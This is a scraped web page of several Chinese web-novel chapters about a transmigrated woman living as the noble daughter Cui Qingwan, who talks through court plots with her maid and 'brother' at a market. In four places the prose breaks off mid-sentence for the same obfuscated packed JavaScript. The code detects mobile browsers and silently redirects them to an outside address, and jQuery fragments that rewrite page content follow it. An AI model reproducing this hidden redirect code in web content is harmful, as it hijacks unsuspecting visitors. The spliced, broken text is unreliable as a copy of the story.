他就像现代工厂中最精密的仪器,在厨房内的每一步都有最优解。
已站在食肆窗口前的崔皓羿显然是听到了方才戛然而止的呼喊,顶着背后的怨念,他居然也会紧张地吞咽了一口并不存在的口水。
扫视一圈做食物的台面后,他维持着风度翩翩的模样凑上前去冲大伯开口——
“赵伯?我经‘穆飞柳’介绍,特地来您这儿买古楼子,不知您……”
“喔!贵客也是穆巡察的朋友?好说好说,贵客也来一套?既然是因穆官人结缘,那自然是按说好的,少给我五文便是,还望来日贵客多多关照老汉的生意。”
“来三套罢,关照倒谈不上,我们不过听坊间多有赞誉,加之熟人推荐,才特来一饱口福。”
“倒是瞧您动作利索、技术娴熟,隔着老远都能闻到香气儿,只怕往后我们再来,我可挤不过众多食客再凑到您铺子跟前儿。”
“哈哈哈!承蒙贵客吉言,若真是如此,那贵客只管提前定下,老汉一定先为贵客准备好。”
“那真是多谢了。”
……
踱步到崔皓羿身后一丈远的“崔清婉”满脸死气,一双明目罕见地翻成三白眼,透过纱帘死死地盯着正与店家相谈甚欢的崔皓羿。
她是真想冲上前去与那大伯借一下送饼进火炉的铁钳子,然后一把拧住崔皓羿气血充盈的双唇,好好问问他还敢不敢再这么皮,专门逗耍自己。
什么改衣裳,什么不合身,都是幌子,巷子里的话你分明听得一清二楚!先让人放松警惕,后让人愈发尴尬……
啊——大混蛋!!
心中惊涛骇浪,但表面却仍旧淡然,甚至当崔皓羿归来递上古楼子时,她还能接过后行礼顺便再来一句道谢。
当然,差点把裹饼的草纸咬掉这件事不算。
离开卖古楼子的铺面,他们一行三人向前走了一段儿,直到崔皓羿寻到一处热汤铺前,方才停下。
结实的木制小矮桌,配上更加低矮的胡凳儿,“崔清婉”检查了一遍凳子上是否干净,随即便捋捋衣裙直接坐了上去。
那略长的后摆垂在地上,让她看上去有些不拘小节。
云岫见此本想劝阻,但见周围食客皆是如此,于是也暂且放弃了礼仪苛求。
“别光站在那里,快来坐,不然以云岫模样,仅几眼便被别人上前搭话了。”
见云岫还恪守礼仪地候在一旁,“崔清婉”将放在矮桌上的帷帽向一旁挪了挪,招呼她坐过来。
“四娘又胡说,我哪有那般惹眼?”云岫自然不从,可余光中她也能瞧见,附近路人时不时投来的打量。
“我可没瞎说,你看你看,又有人过来了,看他直勾勾盯着你,一定是想问你是哪家娘子——”
“唔!我知道了!”
眼见着自家四娘不依不饶,云岫只能咬咬牙应答下来,随后她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14973995|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
朝着坐在胡凳上的郎君与娘子微微欠身施礼,谨慎地蹲坐在一旁。
周旁满是集市上独有的喧闹,坐着的、行着的,大家多是交谈自家的琐事,唯有偶发的几道刺耳碰撞声才会引得人们侧目关注。
隐在熙攘繁华下,云岫小心翼翼地将手中古楼子包裹严实,而后低声开口。
“四娘从前便体恤下人,如今醒后更是温柔非常,就连待我这过失之人也愈加亲和,我知这是四娘心善,珍惜我这旧人,可三郎君何必如此?连这古楼子还要多买一份……”
“今日我带四娘出府,已是犯了大忌,三郎君这般,云岫实在惶恐难食。”
“打住!你没有过失,不许给自己身上安罪名!”
压着声音喝止住云岫的揽责,“崔清婉”不满地摇摇头,当日意外又不是云岫一人所能左右的,她可不许对方因为身份地位就硬要将过错全部包揽。
而同样坐在矮桌边的崔皓羿却未对此发表看法,他只是吩咐端着碗盏的小二将汤匙送来,待人走后才缓缓开口。
“阿婉擅自出府,论理,你确实该罚,但今时不同往日,如今暗地里不知有多少人想在阿婉身上做文章,昨日之事便是最好的例证。”
“因此你只管贴身护着阿婉,随阿婉心意办事便好,毕竟比起旁人,还是你更贴心些。”
云岫见热汤已被送来,顺手便将自己那份儿古楼子裹严实放在桌上,她正欲伸手取来自家四娘的汤碗准备吹凉,不想这下意识的伺候举动竟被当事人所阻止——
“崔清婉”极为迅速地按住她的手背,说什么也不肯让她忙活,大庭广众之下,她们也不愿为这个争执,一番眼神交流后,二人竟无声地角起力来。
崔皓羿自然注意到眼前两人的激烈交锋,他垂眸瞟了眼双方交叠的双手,不禁勾起嘴角,许是恐人瞧见,他又迅速敛起笑意,然后不着痕迹地移开目光。
“至于这早膳,你只当是照顾阿婉应得的,何况我若不估算你的份儿,只怕阿婉要念叨我一上午的促狭小气,你就当是沾了阿婉的光,好好享用吧。”
听罢三郎君言语,云岫一时恍神,手中动作也是卸了力,随后她微微垂首,斟酌着开口。
“云岫先谢过三郎君,只是有一事云岫尚且不明,既然三郎君恐四娘遭人算计,为何还要云岫依着四娘,随四娘的心意办事呢?如此情势,四娘藏在府内不是更稳妥吗?”
“稳妥?”
崔皓羿这次不加掩饰地发出一声轻笑,他单手持起碗盏,虽已送到嘴边,却未入口,只是让那氤氲热气遮掩住他晦暗眸色,令旁人辨不清分毫。
“砧板上的鱼肉最为稳妥,可等待它的,只有磨利的脍刀罢了。”
“也就是说入局才有较量的机会,就像云岫此刻松了手,这汤碗啊,只能我来把握了。”
趁云岫不注意,“崔清婉”笑眯眯地夺过汤碗的控制权,她照着崔皓羿的模样,也优雅地持起汤碗,然后不失风度地抿上一口——
“啊烫!”
“当心!”
“四娘慢些!”
崔皓羿迅速放下手中碗盏并将她的汤碗也接拿过来,云岫更是慌忙从怀里抽出手帕为她擦拭嘴角。
面对二人过于及时的关切,“崔清婉”不知是烫得厉害还是羞得不好意思,一瞬间面红耳赤起来,但她还是强装镇定,大着舌头回答。
“窝七系系以匿博敲,没系没系。”
“四娘说什么?”云岫眨眨眼,不明所以。
“以匿博敲……”崔皓羿略一沉吟,随即会心一笑,“是以力破巧?阿婉有这般心思,想必那幕后之人定不会侥幸逃脱。”
顾不上什么巧不巧的,云岫现下只心疼自家四娘被烫着舌头,她小心翼翼地端详“崔清婉”的唇舌,检查烫伤是否严重。
只是她尚未瞧看仔细,便被崔皓羿这番话弄得一愣——
“郎君所言……莫非已有证据表明昨日之事确有人指使?”
40.恍悟
坦白而言,即便已然明确崔皓羿是与她站在同一条阵线的,可对于崔皓羿的想法,她还是捉摸不透。
云岫是自小跟在崔清婉身边不假,也因此,她现在待人接物全有云岫的照应圆场,可这并不代表她与崔皓羿之间的谋划也需要让云岫知情吧?
多一个人知道不就多一分泄露的风险吗?
她不是很明白。
“三郎君的意思是说,那对夫妇是乘着任员外的马车赶到郊外的?”
把缺了小口的古楼子重新套装在草纸内,云岫将胡饼小心地放在桌案上,她快速咀嚼并吞咽口中食物,而后嘬饮一点儿热汤,又用手帕擦擦嘴角才低声讲话。
“云岫知晓三郎君身居要职,去传个城门郎来调取到出城名册也不是难事。可云岫想不通,只因名册上未有那夫妇二人的路引记载,三郎君便可推断出他们借乘的是谁家马车吗?”
听罢云岫发问,崔皓羿隔着桌案上腾升的热气垂下眼帘,看上去似乎只是在斟酌用词,但一直沉默的“崔清婉”还是察觉到他幅度极小的向周旁探目。
“寻常百姓出行,必有记载,唯一能模糊记录的,便只有官宦人家。”
“而从‘得知崔府有人出行’到‘通报传人前往’,我已将可能耗费的时间一一记下,据此而推,在前后半个时辰范围内,唯有任家马车通过南边的明霞门。”
“更何况,有关这辆马车随行仆人的记载,确实存在一些问题。”
崔皓羿解释得有理有据,可云岫却流露出一丝顾虑,她不顾身份地位,壮着胆子执拗开口。
“那或许是因为城门郎值守时懈怠,对官员出游的马车疏于细查?”
“不管怎么说,昨日那对夫妇出身寒微,如何能攀上六品大员的关系?而这位任员外,我也不曾听郎君、娘子们提及过,能有什么天大的冲突,值得他专门谋划构陷四娘?”
云岫这话惹得崔皓羿打量了她几眼,不过也只是单纯打量,未见其有责怪恼怒之意。
“正如你所言,未曾与之谋面,阿婉自然不会和他有什么冲突,可放眼整个崔家,在朝为官者难免有摩擦,若他因往日恩怨而选择对阿婉出手,倒也能说得通。”
或许是说得太多口干舌燥,又或是需要借助热气再次遮掩眸色,总之崔皓羿持起汤碗饮取了半口。
“至于那对夫妇,恐怕多是受人胁迫,不然以崔家名声,哪怕他二人只是抱着染病孩童跪求于府前,想必到手的也会比这样来得多。”
“可——”
眼见崔皓羿就要盖棺定论,云岫情急之下便要反驳,但刚出声她就意识到不妥,她终究是个下人,逾矩之言偶有一次也就罢了,如若再犯岂不是给自家四娘脸上抹黑?
于是她垂下头去,屏息凝神,仍是昔日里恭谨乖顺的模样。
“可是什么?”
见云岫欲言又止,沉默许久的“崔清婉”反倒开了口。
方才被热汤灼伤的舌尖此刻已缓了疼痛,尚有一丝不适萦绕在口中,今日她虽乔装出行,可也不能当众吐舌缓减痒痛,只能尽力维持若无其事的神情。
而在崔皓羿与云岫有来有往的探讨声中,她竟然幻视自己还在大学餐厅,一边用着饭菜一边瞧看手机中的电影解说。
怪哉,怪哉,明明他们二人分析的事件是以她为中心,可她就是很难代入,即便她现下示人的也确实是崔清婉这个名字。
“总归我们是在分析昨日之事,真相如何,尚且未有定论,所以云岫有何猜想,直言便好,不必吞吞吐吐。难道在我身边,你也得藏着掖着吗?”
有了她的鼓励,云岫迅速抬眼瞟了崔皓羿一下,随即她重重低下头去,神色不安间又生出一股子坚定。
“云岫失礼,还望三郎君莫要怪罪。我只是觉得昨日之事实在恶劣,但堂堂官员,即便政见不合,也不至于出此下策。”
“所以云岫认为,这样的计谋一定是来自女子间的嫉恨陷害,而我能想到仇视四娘的女子——也唯有王府的杜家姐妹了。”
“这……”
难怪云岫反复质疑崔皓羿的解释,原来在她心中已有了答案。只是“崔清婉”听完这般推测后,不免还是陷入哑然。
她原本以为云岫只是对杜家姐妹心怀芥蒂,但如今看来,更像是怀恨在心,任何针对崔清婉的事情都会被怀疑到那儿去。
就像之前安雅小丫头闯入崔府,夜里歇息的时候云岫可是旁敲侧击,各种暗示她刚刚引回府的曲知笙和曲游欢有很大嫌疑。
而有原身书信为证,她虽没从云岫那儿问出过往“自己”究竟是如何被杜家姐妹欺侮的,可想想也能猜出一二——没有明面上的针对排挤,多数应是暗地里的使绊子。
但只要想到这儿,她又不免追忆起与杜家姐妹的初次见面。
杜玉姿性子嚣张跋扈,给原身难堪大抵是常有的,而杜玉瑶呢,或许如崔家人所言,她经常为杜玉姿的冒犯而向原身当众赔罪,这才惹得原身遭受非议……
意识到自己可能在为对方开脱责任,她深深地吐了口气,她不是有意如此,只是脑海中那位女子的模样实在让她怨不起来。
蛾眉柳目、素衣白妆,单单是回想起杜玉瑶纤巧若蒲的身姿,她便很难说服自己对方也参与到欺侮崔清婉的事件中去。
直觉与理智的不适配,让她夹在中间,只有满腔的苦恼。
明明知晓杜玉瑶一定在或多或少地纵容杜玉姿的专横,可她只要想起对方那双忧虑且冷漠的眼睛,心底总会不自觉生起一股难以释怀的牵挂。
如同她初见崔皓羿时,对方眸中的愁绪也让她生出不忍苛责的冲动。
“崔清婉”用余光瞥了眼饮汤的崔皓羿,转而又看向云岫。
“往日之事如清晨迷雾,于现今的我来说,已然消散。何况即便昔日我与杜家姐妹有些利益冲突,但今时不同往日,我非是他人妇,所谓冲突犹如无根之木,岂会独活?”
“凡事论起来总得找个证据,我们可不能空口白牙地定人家罪过,不然我们与诬陷他人的人又有什么分别?”
“……四娘教训得是。”
闻言,云岫也神情恹恹,不再辩驳什么。
“为主人家担忧,可谓是忠,云岫一番肺腑之言,阿婉怎会计较?这教训二字实在是过重了。”
不等“崔清婉”安抚云岫情绪,崔皓羿先开口夸赞了一声,像是为打圆场,他继续补充道。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974295|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“不过这事确实和杜家娘子没什么关系。”
如此笃定,惹得“崔清婉”都投过疑惑目光,云岫面上的不解也更加显眼。
“朝堂上的事,你主仆二人未曾听说也是自然。那任员外,本名任非庸,现任尚书省下工部内水部员外郎,原是胥吏出身,受李中丞——”
“哦,也就是三姐姐好友陆二娘子的丈夫,受他赏识后,这才流外入仕。我想任凭杜家娘子如何神通广大,也不能驱使朝中官员为她做事,而能驱使者,必定非恩即贵……”
崔皓羿接着还提到诸如“中书侍郎与李中丞私交甚好,连唯一的兄弟都被安排到御史台内做事,估计此事与他二人及其背后靠山承乐公主脱不了干系”这样的话。
可“崔清婉”并没有继续细听,因为她单只是听到“李中丞”三字便觉心头一震。
尤其不知崔皓羿是有意还是无意,他特别点出那位李中丞确实是陆宥薇的丈夫。
回想起那位快言快语、不惧桓王权势的陆家二娘子,“崔清婉”突感头痛欲裂。
“四娘?”
即便仔细听着三郎君的分析,但云岫还是率先发现她神色有异,于是连忙关切询问。
代替言语应答,“崔清婉”抬起眼强撑着笑意,摇摇头宽慰对方自己并无大碍。
确实是没有其他问题,不过是方才如触电般地顿悟,让她忍不住心神一颤。
直到这时她才后知后觉地意识到,鲤泮势力错综复杂,崔家子弟又心思缜密,眼下种种行为,绝非她可以轻易琢磨透的。
毕竟她从未想过,原来在她苏醒后的第二日,竟也被人算了进去。
当日只觉得崔三娘子贴心,特地托了两位密友前来帮衬,可实际上呢?怕不是专门向她们的夫家放些风声。
如此一想,“崔清婉”只觉心中悲凉。
她想起与崔皓羿初见时,对方曾在书房内说崔家人凉薄,但当日所感,多是为原身的牺牲义愤填膺,而直到今日,她方有切身感受,这才明白那是何种滋味。
“阿郎!”
就在“崔清婉”陷入感慨之际,一声急促的呼唤打断了她的思索,定睛看去,原是崔皓羿的贴身仆从樛木寻了过来。
与她反应类似,四下围坐的食客也抬眼瞧去,见是一小厮奔来,便也司空见惯地回过头去继续吃喝。
樛木三步并两步地赶来,觉察到还有人瞧看,忙是紧凑到崔皓羿身旁,只不过在附到郎君耳畔之前,樛木还是极快地先朝她施了一礼。
见状,“崔清婉”维持着得体浅笑,向他点点头,示意他忙自己的事。
以手护口,樛木凑在崔皓羿耳边低声言语,极为谨慎的举动让桌案边的另外两人也探究不到分毫,但看到听话人逐渐拧起的眉头,“崔清婉”便意识到这绝不是什么好消息。
方才的感慨苦闷突地散去,对现下状况的担忧更扯着她的心。
不过片刻,樛木起身候在一旁,这时她才向前凑了凑身子,急切问道:“可是曲乐师的事难办?”
“非也,”崔皓羿露出一丝苦笑,眉宇间仍是凝重,“曲乐师的事并不难办,但难办的,大概是阿婉了。”
“我?”
41.难言之隐
短促的疑问迅速被四周的嘈杂声掩盖,如同遗留在桌案上未食用完毕的古楼子一样毫不起眼。
只有三两个蹲守在角落里衣衫褴褛的孩子,趁无人注意时,一阵风似的冲赶过来,将案上的残食争抢干净。
骤然离席,紧挨着他们的食客微微侧目窥看,但随即又回过眼去,专注在自己的食具上。
显然,于市集而言,人来人往的最为常见。
行至路半,云岫按约定好的那般,先随樛木赶往侧门入府,独留自家四娘随三郎君绕至北街自后门回府。
一道下来,紧步快行的二人未再有几句搭话,唯有“崔清婉”在余光里瞥见崔皓羿不时缓下来等待的步子时才确信对方并不是忘了自己的存在。
巳时将过,红日高照,除却集市中经商游逛之人,多数人家都回到屋舍准备午歇,但令人倍感意外的是,在临近崔府所在的昭业坊时,遥遥可见那簇在街道上有百尺长的人群。
攒动的人头算是彻底将通往崔府正门的道路围了个水泄不通,其间布衣锦服,既有寻常百姓,也有不少住在附近的富商官眷。
而在层叠人群间,隐隐可见喷火转碟的杂耍艺人,挑担游走的乡野农户,随着敲锣打鼓的声响,时不时还能听到旁人为翻滚腾跃的舞狮发出的几声喝彩。
“难怪说难办的是我,毕竟我可想不到,昨日风波尚未停歇,今日崔府门前竟还能有这样的热闹。”
看着自崔府正门延伸到巷口的队伍,“崔清婉”神色复杂地评价道。
不怪她言语中略带阴阳之意,毕竟她清早出门时这里还算自然平静,就算有行人走过,也不曾高声言语,总之与此刻吹吹打打的聚众欢庆截然不同。
未踏足崔府门前的街道,他二人只是站在巷口拐角处,借着院墙遮掩,崔皓羿一边护着她不被人瞧见,一边压低声音回答。
“安雅父母知恩图报,大张旗鼓地送来谢礼也是为缓解娘子身上的非议。”
“我知道,我没有在怪罪。”
她撇撇嘴角,随即收回远眺的目光,身子也朝拐角里端移了半步。
“我只是觉得太惹眼了,他们又不似崔家,万一被人针对了可怎么自保?”
“确实过于热闹,且以安家家境,应当促不成如此场面,想来其中有阿月与三姐姐的授意。”
见她还皱着眉头,崔皓羿反倒一笑,轻俯身子朝她凑近了些。
“因此还请娘子放心些,以三姐姐与阿月的处事手段,定然会考虑到小安雅一家往后的生活,必不会让他们被无耻之徒所挟持。”
听他这样说,“崔清婉”安心不少,抬眼间正欲开口,却瞧见对方陡然逼近的身躯,不觉开口时打了个磕巴。
“那、那嗯……这不会弄巧成拙吗?这样热闹,不知道的还以为是崔府要婚嫁迎娶了。”
“误以为婚嫁迎娶……”
没有察觉到她在一瞬间慌忙掩饰的慌乱,崔皓羿只是顺着她的话陷入思考,回复的语气也染上几分迟疑。
但还不等她再补充什么,只见对方原本微垂的眼帘忽地抬起,目光烁烁间,隐隐透出戏谑之意。
“那岂不正好?若就借此造势,再寻几班乐人吹打得热闹些,京中妇人定会以为阿月终于议下婚事。”
“如此,她们必会差人前来探问,到时只要下人们稍加解释,便可让对方知晓事情的来龙去脉了,这样一来,娘子身上的非议也会消散得更快了。”
“唔……”
这种祸水东引的言谈惹得“崔清婉”一时语塞,她干咽一口不存在的口水,不知是不满还是避嫌,总之她皱起眉头后退半步,未再接话。
崔皓羿还是没有察觉到她的变化,只是半倾身子,仍旧带着调侃意味向外看去。
“现下而言,敲锣打鼓的匠人只是造了几分喧闹,真正引人瞩目的,还是那群驻守在我们崔家门前的守兵。”
“说来桓王殿下真是仁慈,对我们崔家如此厚爱,竟连王府内多过一半的府兵都舍得拨来……”
明明是恭敬之言,但崔皓羿的语气还是渐渐冷了下来,原本戏谑含笑的俊脸多了一丝冷意,清湛双眸也不复温和。
片刻后,许是终于意识到身边人的沉默,崔皓羿连忙敛去面上寒意,又恢复到方才的调侃神色。
“哈,兴许旁人会把府兵当作是桓王前来祝贺的排场也说不准,这样看来,阿月得苦想好几个晚上,仔细斟酌向老夫人们解释的措辞了。”
不知该怎么接话,“崔清婉”也沉默着向外探了一点身子,她小心翼翼地朝崔府门前打量过去——
果然,数十人的队伍静默一旁,身着精致而统一的明光铠,那红黑配色虽未见沙场上的森森杀意,但漾在其间的浩荡皇威便足以让人心中一颤。
如果不是那百尺长的热闹烟火气冲淡这份肃杀,只怕寻常人家早被这群府兵吓破了胆。
“幸亏只有府兵,要是李澈守在那儿,高低得把这条街清空了。”
下意识吐槽一句,“崔清婉”立刻心虚地朝四下扫视几眼,随后迅速将脑袋缩了回来。
显然崔皓羿比她轻松得多,他还若无其事地继续接话:“其实清空的话——”
“行!打住!”
虽然是自己引起的猜想,但眼见着崔皓羿又要拿崔皓月开涮,预感到对方要说什么的“崔清婉”立马截住话头,求饶般叹了口气。
“你……该不会是想说‘清空街道更像崔府操办大事,旁人也会愈发好奇,届时更有利于非议消散’吧?
她无奈地摇摇头,看向对方的目光也多了份凝重。
“我首先承认,即便是我,可能也会在某些事上对家人偏心,但小事尚且无关痛痒,大事可不能含糊。”
“再怎么说,他们两个都是你的兄弟姐妹,即便你与清婉娘子才是一母同胞,关系上更亲密,可你也不能太厚此薄彼,以阿月婚事来造势,这未免太不公平。”
突如其来的打抱不平,虽然并不严肃指责,却还是让崔皓羿愣在原地,半晌后,他才带着几分为难神色回过头来。
“娘子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978983|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
与阿月亲近,能为阿月考虑,这自然是一桩好事,只是娘子所言……莫非娘子是觉得,我这样想全是因为偏护阿婉?”
“对啊,不然呢?”
反问脱口而出,可“崔清婉”在接触到对方视线后,又马上垂下目光,眼帘半遮下,她的眸子不安转动,两道细眉也越拧越深。
片刻后,她才再次抬眼,只是这回她的目光平静许多,一种试探而期待的神情浮现在她的脸上,不难看出,她已经做好道歉的准备。
“我,”终于注意到眼前人极为迅速的情绪变化,崔皓羿为难间却也流露出一丝安心的笑意,“娘子这样想确实合乎情理,但这确实并非我心中所想。”
“我并非有意抬高自己,可我真心认为,若是阿婉遇到昨日之事,那她应当去解决、去面对,自然,我也会尽一位兄长的责任。”
“可我不能因为与她亲近就将阿月的感受置之度外,让阿月变成转移他人目光的靶子。”
“但娘子不同,娘子无端受到牵连,这本就是我亏欠娘子的。即便昨日歹人是冲着阿婉生事,但如今娘子屈就在阿婉体内,免不了会受到伤害。”
“即便娘子已经足够机敏坚强,可娘子是活生生的一个人,心中免不了会生得诸多委屈,我若不想着为娘子排解,娘子苦涩心事又能向谁倾诉呢?”
“我看重娘子,不愿娘子暗自伤神。”
“你、我我……”
她很想为刚才的话立马道歉,可话到嘴边,却只有磕巴。
讥讽、嘲笑,她都能变着法地回几嘴,可偏偏对待这种直面而来的真诚与关怀,她是一点儿也拿捏不准。
她突然在心底怪罪起对方的直白,若对方不说后面几句难为情的话,她本可以坦坦荡荡说声抱歉,但现下能说出口的,只有莫名奇妙的指责与攻击。
“咳嗯——那、那你也不能把阿月推出去啊!这不是慷他人之慨、解旁人之囊吗?你完全可以说是你另要迎娶——哦!不对,你有自己的宅院,你是不会在老宅里锣鼓喧天的。”
“崔清婉”言语越发慌乱,不经意间,连心中埋藏已久的疑虑也以攻击的口吻说了出来。
“话又说回来,你一个已然成婚的男子,最近总在休沐时回老宅,都不抽空回自己宅邸看看发妻,岂不是会惹来更多非议?虽然旁人认我为你胞妹身份,可我不是,你这样也……”
“啧,总之,昨日之事你都听说了,我能应对得当,你不用小瞧我。”
“小瞧娘子?我怎会!我不回宅院只是因为我与简仪——”
接下来本该是交心之言,可崔皓羿辩解的话语却戛然而止,他像是想到什么,硬生生遏制住自己想要倾吐的欲望,在焦急中他无力地张张嘴,却未发出半点声响。
转瞬间,几分踌躇攀上他的面庞,而那缕初见时的愁绪也再度翻涌在他的眼底,他盯看身前人一眼又一眼,满是挣扎。
终是一声悠长的叹息,他覆下眼帘,密长的睫毛遮住眸光,宛如初见时的窘迫,与先前的淡然自信截然不同。
42.识趣
所以是因为什么?
崔皓羿陡然激动的情绪引得“崔清婉”想要顺势发问,可四目相对间,对方眸中的哀伤却压得她不忍去问。
自觉做错了事,她皱着眉头移开与崔皓羿对视的目光,明明是不愿气氛再尴尬下去,可她开口时,却又染上一股莫名的烦躁。
“好了!反正阿月这事只是说着玩闹,你也不会真让它实现,你无须在意我的感受,我只希望你能尽快寻得真人,好问明恢复原状的方法。”
“千万别等到我解决了清婉娘子身上的困境后,还让我白白占着她的身躯,这对我、对清婉娘子都不太好!”
“可我怎能不在意娘子感受……”
又是一声悠长叹息,苦涩、沉闷。
“崔清婉”连忙抬头看去,试图从对方缓和的语气中探听到问题答案,可对方在接收到她的视线时,面上踌躇更甚,最终只是展露了一丝不得已的苦笑,继而轻声开口。
“至于娘子叮嘱,羿必不敢怠慢。”
骄阳越发浓烈,映衬着远处的热闹也越发灼人,明明不过数十尺的距离,可这边的巷口拐角却骤然冰冷到让人难耐。
就连墙角下最缝隙的阴影都慌乱逃离,只留下白晃晃的日光晒在石路当间。
“崔清婉”被横在二人间的沉默唤回理智,平心而论,这样的结束语并不算生硬,甚至可以称赞一句得体,于是她也很识趣地收回期待,维持住面上的平静。
“那就按商议下的,你我先从后门回府,别在外面节外生枝。”
到底是平静,还是说这份平静也有生气的意味?在丢下这句话后,“崔清婉”便头也不回地朝着北边街巷走去。
而崔皓羿也闷闷地“嗯”了一声,随即紧跟在她的侧后。
就这样,一场洽谈不欢而散,两人各怀心事地朝百尺热闹的反方向走去。
说不准为什么会这样,但她心中就是有一丝丝莫名的负气,所以“崔清婉”脚下的步子走得越发紧快。
那靛蓝裙角在石板路上被踢得翻出浪花,一迭拥着一迭,丝毫不觉疲惫。
只可惜,因着身高差异,不论她走得怎样飒爽紧快,身侧那抹杏红色身影从未落下半尺。
青砖围就基底,白墙搭建其上,青绿色的琉璃瓦片密密匝匝地叠了一层又一层,一路伴着他们前行。
约莫有一炷香的时间,二人才从崔府前街绕到后巷,只是此间一直沉默着,颇显尴尬。
“过会儿回屋后,还劳烦娘子再梳洗打扮一通,我已命人将承乐公主所赐步摇钗送到娘子闺房,之后出面,娘子少不得要戴上‘招摇’一番。”
不急不缓,崔皓羿像是酝酿好才开口,他的语气沉静而自然,仿佛方才急于辩解的人根本不是他。
闻言,“崔清婉”身形一顿,衣裙晃动的幅度也小了下来,她撇下方才的种种杂思,开口时便也是如往常般的淡然理智。
“承乐公主赐我步摇钗?这是什么道理,‘打个巴掌再给颗枣’?”
“娘子说笑了,若承乐公主有这般心思,只怕兄长一早便会在盛王、楚王之中挑选一位,哪儿还有机会守着活到舞勺之年的太子殿下呢?”
崔皓羿露出一抹预备好的浅笑,恰当而不失礼。
“那你的意思是?”
没有戳破对方费心营造的谈话氛围,“崔清婉”彻底放下心底疑问,她停下脚步,随即又觉不妥,紧了几步朝崔府后门巷道的走了进去,直到身子完全避在墙角下才回过头询问。
“莫非你市集上所言,只是为了误导云岫?”
“可都到了现在,你们崔家要是怀疑云岫,还至于让她一直守在我身——噢,不对,你没有怀疑她,你是觉得隔墙有耳,故意在误导幕后之人。”
“算不上误导,羿在市集上所讲,句句属实,昨日生事的夫妇确实能与承乐公主攀上千丝万缕的联系。而这道消息,恰恰也是幕后之人最想要我们产生的怀疑,只不过……”
崔皓羿紧跟着她走到屋檐下,确认四周无人后,下意识便想向她靠近半步,但刚抬脚却又停下,他敛敛目光,装作什么都没有发生般继续开口。
“我昨日巡视皇宫时正好碰到承乐公主游玩,在行礼后我本垂首待公主离开,可公主却朝我走来——”
“先是夸赞崔家门风清正,又是肯定崔家子弟各个有才干,末了公主从自己发髻上取下一支步摇钗,说是听闻你下水救人,甚是钦佩,特意托我转赠于你。”
“特意赠我?”
见到对方举动,她眉头轻挑间刻意将目光向一旁错开,此刻日光正盛,巷道空无一人,捕捉不到什么特殊事物的“崔清婉”也只好收回目光,讪讪发问。
“我不明白,一支步摇钗能做什么?承乐公主要是想拉拢崔家,不应该大笔大笔的金银珠宝砸过来吗?这种程度的示好算什么?”
“算是试探,”崔皓羿语气中还带着方才提到“承乐公主”时的敬意,但眸中却换上淡漠疏离,“正如兄长们的态度一样。”
“迫不及待还小心翼翼,真有意思,”她低声咂舌,在回看崔皓羿两眼后,又目光一垂,落在对方胸前的精白绣线上,“若不是承乐公主,那昨日之事便是李澈那方了?”
话刚出口,她便感到一股难以言喻的怅惘。
她虽然秉持平等原则合理怀疑这个世界的每一个人,但真推到李澈身上时,她还是会有些不忍——只是这份不忍并非出自对李澈的同情,而是来自对原身的怜惜。
共枕发妻与同胞兄弟,昔日情分与来日名利,李澈选择的似乎永远是后者。
也许是察觉到“崔清婉”语气中微不可闻的遗憾,崔皓羿再开口时也多了几分斟酌。
“羿不敢断言,只是说十之八九,且若真是郡王们谋划的,其目的反而很是明了。”
“明了?”
“崔清婉”疑惑地看向崔皓羿,在打量几眼后像是想明白了什么,突地发出一声冷笑。
“呵,也对,无论在清婉娘子身上发生什么,他们根本不会在意,哪怕是李澈本人,他也只是觉得‘我’还活着,他大可以往后再解释。”
“现下京中势力都想通过‘我’探听到崔大郎君如何作想,只
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14999095|159629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不过比起承乐公主赤裸裸的示好,郡王们所为更令人不齿。”
崔皓羿垂下眼帘,微微颔首。
“郡王们本就是借阿婉做局,现在意外横生,不管真凶是谁,他们只在乎计划能否如愿推进。”
“如今他们摸不清大哥心意,只能硬着头皮继续对阿婉下手,这样既能试探大哥态度,又能贯彻计划中与崔家水火不容的假象,可谓一举两得。”
